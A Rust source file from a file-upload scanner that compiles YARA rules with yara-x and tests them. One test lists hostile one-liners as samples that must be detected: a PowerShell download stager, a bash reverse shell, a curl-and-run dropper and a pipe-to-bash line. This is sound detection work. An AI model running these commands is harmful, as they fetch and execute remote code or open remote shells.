Skip to main content

max / makenotwork

20.3 KB · 595 lines History Blame Raw
1 //! Layer 4: YARA rule matching via yara-x.
2 //!
3 //! Rules are compiled once at startup from all `.yar` files in the configured
4 //! rules directory. The compiled rules are stored in ScanPipeline and reused.
5
6 use std::path::Path;
7 use std::time::Duration;
8
9 use super::{ErrorPolicy, LayerResult, LayerVerdict};
10
11 /// In-process deterministic layer. A YARA scan error (timeout, rule
12 /// compilation failure at scan time) is structurally suspicious, fail closed.
13 pub const ERROR_POLICY: ErrorPolicy = ErrorPolicy::FailClosed;
14
15 /// Maximum time for a single YARA scan before it is aborted.
16 const YARA_SCAN_TIMEOUT: Duration = Duration::from_secs(30);
17
18 /// Compile all YARA rules from `.yar` files in a directory.
19 /// Returns None if the directory doesn't exist or contains no rules.
20 /// Compile every `.yar`/`.yara` file under `dir`. Returns the compiled `Rules`
21 /// (or `None` when the directory is absent / empty) alongside the count of rule
22 /// files that compiled successfully, the caller uses that count to enforce an
23 /// optional health floor (see `ScanPipeline::assert_live`).
24 pub fn compile_rules_from_dir(dir: &str) -> Result<(Option<yara_x::Rules>, usize), String> {
25 let path = Path::new(dir);
26 if !path.exists() {
27 tracing::info!(dir = %dir, "YARA rules directory not found, skipping");
28 return Ok((None, 0));
29 }
30
31 let mut compiler = yara_x::Compiler::new();
32 let mut rule_count = 0;
33 let mut skipped_count = 0;
34
35 let entries =
36 std::fs::read_dir(path).map_err(|e| format!("Failed to read YARA rules directory: {e}"))?;
37
38 for entry in entries {
39 let entry = entry.map_err(|e| format!("Failed to read directory entry: {e}"))?;
40 let file_path = entry.path();
41
42 if file_path
43 .extension()
44 .is_some_and(|ext| ext == "yar" || ext == "yara")
45 {
46 let source = match std::fs::read_to_string(&file_path) {
47 Ok(s) => s,
48 Err(e) => {
49 tracing::warn!(file = %file_path.display(), error = %e, "skipping unreadable YARA rule file");
50 skipped_count += 1;
51 continue;
52 }
53 };
54
55 // Per-file fail-open. Third-party rule corpora (e.g. Florian Roth's
56 // signature-base) include rules that exercise built-in identifiers
57 // (`filename`, `filepath`, `extension`, ...) which yara-x's pure-Rust
58 // engine does not yet implement. A single such rule must not take
59 // down the whole scanner, skip the file and log the rule path so
60 // operators can audit coverage gaps.
61 match compiler.add_source(source.as_str()) {
62 Ok(_) => {
63 rule_count += 1;
64 tracing::debug!(file = %file_path.display(), "Loaded YARA rule file");
65 }
66 Err(e) => {
67 tracing::warn!(
68 file = %file_path.display(),
69 error = %e,
70 "skipping YARA rule file that yara-x cannot compile"
71 );
72 skipped_count += 1;
73 }
74 }
75 }
76 }
77
78 if skipped_count > 0 {
79 // WARN, not INFO: a skipped rule file is a silent coverage gap. yara-x's
80 // pure-Rust engine rejects rules that use built-ins it doesn't implement
81 // (`filename`, `filepath`, `extension`, ...), so an operator dropping a
82 // third-party corpus in needs this surfaced to know what didn't load.
83 // YARA is supplementary here; ClamAV (full-file, streamed) is the
84 // signature backstop, so a gap degrades depth, not the floor.
85 tracing::warn!(
86 skipped_count,
87 "YARA rule files skipped (unsupported features); coverage reduced, ClamAV remains the backstop"
88 );
89 }
90
91 if rule_count == 0 {
92 tracing::info!(dir = %dir, "No YARA rule files found");
93 return Ok((None, 0));
94 }
95
96 let rules = compiler.build();
97
98 tracing::info!(rule_count, skipped_count, dir = %dir, "YARA rules compiled");
99 Ok((Some(rules), rule_count))
100 }
101
102 /// Scan file data against compiled YARA rules.
103 pub fn scan_with_yara(rules: &yara_x::Rules, data: &[u8]) -> LayerResult {
104 let mut scanner = yara_x::Scanner::new(rules);
105 scanner.set_timeout(YARA_SCAN_TIMEOUT);
106
107 let scan_results = match scanner.scan(data) {
108 Ok(results) => results,
109 Err(e) => {
110 return LayerResult {
111 layer: "yara",
112 verdict: LayerVerdict::Error,
113 detail: Some(format!("YARA scan failed: {e}")),
114 };
115 }
116 };
117
118 let matching_rules: Vec<String> = scan_results
119 .matching_rules()
120 .map(|rule| {
121 let ns = rule.namespace();
122 let name = rule.identifier();
123 if ns == "default" {
124 name.to_string()
125 } else {
126 format!("{ns}:{name}")
127 }
128 })
129 .collect();
130
131 if matching_rules.is_empty() {
132 LayerResult {
133 layer: "yara",
134 verdict: LayerVerdict::Pass,
135 detail: None,
136 }
137 } else {
138 LayerResult {
139 layer: "yara",
140 verdict: LayerVerdict::Fail,
141 detail: Some(format!("Matched rules: {}", matching_rules.join(", "))),
142 }
143 }
144 }
145
146 /// Scan a spooled file against YARA rules. Reads the file into memory
147 /// (yara-x's `Scanner::scan` takes a byte slice).
148 ///
149 /// Test-only: the live scan path uses [`scan_with_yara`] on already-resident
150 /// bytes. Gated `#[cfg(test)]` so this uncapped `fs::read` cannot be reached off
151 /// the request path (ultra-fuzz Run 11 Sec L1).
152 #[cfg(test)]
153 pub fn scan_with_yara_path(rules: &yara_x::Rules, path: &std::path::Path) -> LayerResult {
154 match std::fs::read(path) {
155 Ok(data) => scan_with_yara(rules, &data),
156 Err(e) => LayerResult {
157 layer: "yara",
158 verdict: LayerVerdict::Error,
159 detail: Some(format!("read spool {}: {e}", path.display())),
160 },
161 }
162 }
163
164 #[cfg(test)]
165 mod tests {
166 use super::*;
167
168 #[test]
169 fn no_rules_dir_returns_none() {
170 let result = compile_rules_from_dir("/nonexistent/path/to/rules");
171 assert!(result.is_ok());
172 assert!(result.unwrap().0.is_none());
173 }
174
175 #[test]
176 fn clean_data_passes() {
177 // Compile a simple test rule that looks for "MALWARE_SIGNATURE"
178 let mut compiler = yara_x::Compiler::new();
179 compiler
180 .add_source(
181 r#"
182 rule test_malware {
183 strings:
184 $sig = "MALWARE_SIGNATURE"
185 condition:
186 $sig
187 }
188 "#,
189 )
190 .unwrap();
191 let rules = compiler.build();
192
193 let result = scan_with_yara(&rules, b"this is clean data");
194 assert_eq!(result.verdict, LayerVerdict::Pass);
195 }
196
197 #[test]
198 fn malicious_data_fails() {
199 let mut compiler = yara_x::Compiler::new();
200 compiler
201 .add_source(
202 r#"
203 rule test_malware {
204 strings:
205 $sig = "MALWARE_SIGNATURE"
206 condition:
207 $sig
208 }
209 "#,
210 )
211 .unwrap();
212 let rules = compiler.build();
213
214 let result = scan_with_yara(&rules, b"contains MALWARE_SIGNATURE inside");
215 assert_eq!(result.verdict, LayerVerdict::Fail);
216 assert!(result.detail.unwrap().contains("test_malware"));
217 }
218
219 #[test]
220 fn path_entry_matches_buffered() {
221 let mut compiler = yara_x::Compiler::new();
222 compiler
223 .add_source(
224 r#"
225 rule test_malware {
226 strings:
227 $sig = "MALWARE_SIGNATURE"
228 condition:
229 $sig
230 }
231 "#,
232 )
233 .unwrap();
234 let rules = compiler.build();
235
236 for sample in [&b"clean bytes"[..], &b"hit MALWARE_SIGNATURE here"[..]] {
237 let buffered = scan_with_yara(&rules, sample);
238 let tmp = tempfile::NamedTempFile::new().unwrap();
239 std::fs::write(tmp.path(), sample).unwrap();
240 let path_based = scan_with_yara_path(&rules, tmp.path());
241 assert_eq!(buffered.verdict, path_based.verdict);
242 }
243 }
244
245 // ── Adversarial tests (test-fuzz) ──
246
247 #[test]
248 fn empty_data_passes() {
249 let mut compiler = yara_x::Compiler::new();
250 compiler
251 .add_source(
252 r#"
253 rule test_malware {
254 strings:
255 $sig = "MALWARE_SIGNATURE"
256 condition:
257 $sig
258 }
259 "#,
260 )
261 .unwrap();
262 let rules = compiler.build();
263
264 let result = scan_with_yara(&rules, b"");
265 assert_eq!(result.verdict, LayerVerdict::Pass);
266 }
267
268 #[test]
269 fn multiple_rules_all_reported() {
270 let mut compiler = yara_x::Compiler::new();
271 compiler
272 .add_source(
273 r#"
274 rule rule_alpha {
275 strings:
276 $a = "ALPHA"
277 condition:
278 $a
279 }
280 rule rule_beta {
281 strings:
282 $b = "BETA"
283 condition:
284 $b
285 }
286 "#,
287 )
288 .unwrap();
289 let rules = compiler.build();
290
291 let result = scan_with_yara(&rules, b"ALPHA and BETA are both here");
292 assert_eq!(result.verdict, LayerVerdict::Fail);
293 let detail = result.detail.unwrap();
294 assert!(
295 detail.contains("rule_alpha"),
296 "Missing rule_alpha in: {detail}"
297 );
298 assert!(
299 detail.contains("rule_beta"),
300 "Missing rule_beta in: {detail}"
301 );
302 }
303
304 #[test]
305 fn partial_match_does_not_trigger() {
306 let mut compiler = yara_x::Compiler::new();
307 compiler
308 .add_source(
309 r#"
310 rule test_exact {
311 strings:
312 $sig = "EXACT_MATCH"
313 condition:
314 $sig
315 }
316 "#,
317 )
318 .unwrap();
319 let rules = compiler.build();
320
321 // Partial overlap should not match
322 let result = scan_with_yara(&rules, b"EXACT_MATC");
323 assert_eq!(result.verdict, LayerVerdict::Pass);
324 }
325
326 #[test]
327 fn large_clean_data_passes() {
328 let mut compiler = yara_x::Compiler::new();
329 compiler
330 .add_source(
331 r#"
332 rule test_sig {
333 strings:
334 $sig = "DANGEROUS"
335 condition:
336 $sig
337 }
338 "#,
339 )
340 .unwrap();
341 let rules = compiler.build();
342
343 // 1MB of clean data
344 let data = vec![b'A'; 1_000_000];
345 let result = scan_with_yara(&rules, &data);
346 assert_eq!(result.verdict, LayerVerdict::Pass);
347 }
348
349 #[test]
350 fn signature_at_end_of_data() {
351 let mut compiler = yara_x::Compiler::new();
352 compiler
353 .add_source(
354 r#"
355 rule end_sig {
356 strings:
357 $sig = "TAIL"
358 condition:
359 $sig
360 }
361 "#,
362 )
363 .unwrap();
364 let rules = compiler.build();
365
366 let mut data = vec![b'X'; 10000];
367 data.extend_from_slice(b"TAIL");
368 let result = scan_with_yara(&rules, &data);
369 assert_eq!(result.verdict, LayerVerdict::Fail);
370 assert!(result.detail.unwrap().contains("end_sig"));
371 }
372
373 #[test]
374 fn compile_rules_from_real_temp_dir() {
375 let dir = tempfile::tempdir().unwrap();
376
377 // Write a valid YARA rule file
378 std::fs::write(
379 dir.path().join("test.yar"),
380 r#"
381 rule hello_world {
382 strings:
383 $hw = "Hello, World!"
384 condition:
385 $hw
386 }
387 "#,
388 )
389 .unwrap();
390
391 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
392 assert!(result.is_ok());
393 let (rules, count) = result.unwrap();
394 assert!(rules.is_some(), "Should have compiled one rule");
395 assert_eq!(count, 1, "exactly one rule file compiled");
396
397 // Verify the rules work
398 let rules = rules.unwrap();
399 let scan = scan_with_yara(&rules, b"Hello, World!");
400 assert_eq!(scan.verdict, LayerVerdict::Fail);
401 assert!(scan.detail.unwrap().contains("hello_world"));
402 }
403
404 #[test]
405 fn empty_dir_returns_none() {
406 let dir = tempfile::tempdir().unwrap();
407 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
408 assert!(result.is_ok());
409 assert!(result.unwrap().0.is_none());
410 }
411
412 #[test]
413 fn non_yar_files_ignored() {
414 let dir = tempfile::tempdir().unwrap();
415 std::fs::write(dir.path().join("readme.txt"), "not a rule").unwrap();
416 std::fs::write(dir.path().join("rules.json"), "{}").unwrap();
417
418 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
419 assert!(result.is_ok());
420 assert!(result.unwrap().0.is_none());
421 }
422
423 #[test]
424 fn invalid_yara_rule_is_skipped_not_fatal() {
425 // Per-file fail-open: a single uncompilable rule (e.g. one using a
426 // yara-x-unsupported built-in identifier from a third-party corpus)
427 // must not abort the entire scanner. The file is logged and skipped.
428 let dir = tempfile::tempdir().unwrap();
429 std::fs::write(dir.path().join("bad.yar"), "this is not valid YARA syntax").unwrap();
430
431 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
432 assert!(result.is_ok(), "skipped-on-error, not aborted");
433 // No valid rules in the dir, so the function returns Ok(None), the
434 // pipeline interprets None as "yara not configured" → Skip verdict.
435 assert!(result.unwrap().0.is_none());
436 }
437
438 #[test]
439 fn mixed_valid_and_invalid_rules_keeps_valid() {
440 let dir = tempfile::tempdir().unwrap();
441 std::fs::write(
442 dir.path().join("good.yar"),
443 r#"rule clean_test { strings: $s = "marker" condition: $s }"#,
444 )
445 .unwrap();
446 std::fs::write(dir.path().join("bad.yar"), "not yara at all").unwrap();
447
448 let result = compile_rules_from_dir(dir.path().to_str().unwrap());
449 assert!(result.is_ok());
450 let (rules, count) = result.unwrap();
451 assert!(
452 rules.is_some(),
453 "valid rules still compile when bad files are present"
454 );
455 assert_eq!(
456 count, 1,
457 "the one valid file compiled; the bad one was skipped"
458 );
459 }
460
461 /// The bundled `server/yara-rules/` corpus must compile, its file count must
462 /// match `DEFAULT_YARA_MIN_RULE_FILES` (so adding/removing a rule file forces
463 /// updating the floor constant, drift guard), and each shipped rule must
464 /// actually fire on a representative sample while clean creative content
465 /// passes. This is the regression net for SEC-S2: a silently-broken or
466 /// silently-shrunk corpus fails here at test time, and the boot floor catches
467 /// it in production.
468 #[test]
469 fn shipped_corpus_is_healthy() {
470 let dir = concat!(env!("CARGO_MANIFEST_DIR"), "/yara-rules");
471 let (rules, count) = compile_rules_from_dir(dir).expect("bundled corpus must compile");
472 let rules = rules.expect("bundled corpus must produce rules");
473 assert_eq!(
474 count,
475 crate::config::DEFAULT_YARA_MIN_RULE_FILES,
476 "bundled .yar file count drifted from DEFAULT_YARA_MIN_RULE_FILES, \
477 update the constant (and the boot floor it feeds)"
478 );
479
480 // EICAR test vector fires.
481 let eicar = br"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
482 assert_eq!(
483 scan_with_yara(&rules, eicar).verdict,
484 LayerVerdict::Fail,
485 "eicar must match"
486 );
487
488 // Script-downloader stager fires (two PowerShell tokens).
489 let downloader =
490 b"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://x/y')";
491 assert_eq!(
492 scan_with_yara(&rules, downloader).verdict,
493 LayerVerdict::Fail,
494 "downloader must match"
495 );
496
497 // Reverse-shell one-liner fires (bash /dev/tcp idiom).
498 let revshell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
499 assert_eq!(
500 scan_with_yara(&rules, revshell).verdict,
501 LayerVerdict::Fail,
502 "reverse shell must match"
503 );
504
505 // Encoded-PowerShell stager fires (powershell + encoded + exec primitive).
506 let enc_ps =
507 b"powershell -nop -w hidden -EncodedCommand JABjAD0... ; IEX (FromBase64String($x))";
508 assert_eq!(
509 scan_with_yara(&rules, enc_ps).verdict,
510 LayerVerdict::Fail,
511 "encoded powershell must match"
512 );
513
514 // Office macro dropper fires (autoexec + two exec primitives).
515 let macro_drop = b"Sub AutoOpen()\n Set o = CreateObject(\"WScript.Shell\")\nEnd Sub";
516 assert_eq!(
517 scan_with_yara(&rules, macro_drop).verdict,
518 LayerVerdict::Fail,
519 "macro dropper must match"
520 );
521
522 // Linux dropper fires (download + chmod +x + world-writable target).
523 let lin_drop = b"curl http://x/y -o /tmp/p && chmod +x /tmp/p && /tmp/p";
524 assert_eq!(
525 scan_with_yara(&rules, lin_drop).verdict,
526 LayerVerdict::Fail,
527 "linux dropper must match"
528 );
529
530 // Pipe-to-shell dropper fires.
531 let pipe_drop = b"curl -fsSL http://x/install | bash";
532 assert_eq!(
533 scan_with_yara(&rules, pipe_drop).verdict,
534 LayerVerdict::Fail,
535 "pipe-to-shell must match"
536 );
537
538 // Ordinary content with none of the idioms passes (false-positive guard).
539 let clean = b"a perfectly normal track description mentioning a shell on the beach";
540 assert_eq!(
541 scan_with_yara(&rules, clean).verdict,
542 LayerVerdict::Pass,
543 "clean content must pass"
544 );
545
546 // A benign install snippet that uses chmod alone (no download+temp combo)
547 // must not trip the Linux dropper rule.
548 let benign_chmod = b"After extracting, run chmod +x ./mytool to make it executable.";
549 assert_eq!(
550 scan_with_yara(&rules, benign_chmod).verdict,
551 LayerVerdict::Pass,
552 "lone chmod must not match"
553 );
554
555 // A document that merely mentions AutoOpen in prose must not match.
556 let benign_macro = b"This template defines an AutoOpen macro to set the cursor position.";
557 assert_eq!(
558 scan_with_yara(&rules, benign_macro).verdict,
559 LayerVerdict::Pass,
560 "macro prose must not match"
561 );
562 }
563
564 #[test]
565 fn default_namespace_rule_is_unprefixed() {
566 // Catches the L79 `==` → `!=` mutation. The function emits "rule" for
567 // default-namespace rules but "ns:rule" otherwise. Under the mutant the
568 // prefix logic inverts. Existing tests check `detail.contains("rule_x")`
569 // which is also true for "default:rule_x", so they don't catch the flip.
570 // Pin the exact format.
571 let mut compiler = yara_x::Compiler::new();
572 compiler
573 .add_source(
574 r#"
575 rule plain {
576 strings:
577 $a = "TARGET"
578 condition:
579 $a
580 }
581 "#,
582 )
583 .unwrap();
584 let rules = compiler.build();
585 let result = scan_with_yara(&rules, b"TARGET in data");
586 let detail = result.detail.unwrap();
587 // Default-namespace rule must appear unprefixed.
588 assert!(detail.contains("plain"), "missing rule name: {detail}");
589 assert!(
590 !detail.contains("default:"),
591 "default-namespace rules must not be prefixed; got {detail}"
592 );
593 }
594 }
595